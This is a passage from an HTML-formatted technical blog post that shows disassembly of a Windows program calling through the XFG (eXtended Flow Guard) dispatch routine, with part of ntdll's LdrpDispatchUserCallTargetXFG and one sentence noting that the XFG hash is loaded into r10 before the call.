style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">38h</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+var_10], </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rax</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+2F &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r10</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">99743F3270D52870h</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">39</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">movss</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">xmm1</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">cs</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">:__real@</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">40000054</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">41</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">movss</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">xmm0</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">cs</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">:__real@3f800054</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">49</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rax</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, [</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rsp</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">38h</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+var_10]</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+4E &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">call</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">cs</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">:__guard_xfg_dispatch_icall_fptr</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">54</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">xor</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">eax</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">eax</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">56</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">add</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rsp</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">38h</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main+5A &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">retn</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br></p><p>mov at main+2f moves the generated hash to r10. Inside <em>_guard_xfg_dispatch_icall_fptr </em>you will see the following:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#19171c;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG&#xA0; &#xA0; &#xA0; LdrpDispatchUserCallTargetXFG proc </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">near</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG&#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#7e7887;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">; __unwind { // LdrpICallHandler</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">or</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r10</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">1</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">4</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">test</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">al</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0Fh</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">6</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">jnz</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; short loc_180094337</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">8</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">test</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ax</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0FFFh</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG+C&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">jz</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; short loc_180094337</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG+E&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">cmp</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r10</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rax</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">-</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">8</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">]</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#955ae7;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">jnz</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; short loc_180094337</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">LdrpDispatchUserCallTargetXFG+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#aa573c;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">14</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#8b8792;background-color:#19171c;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> 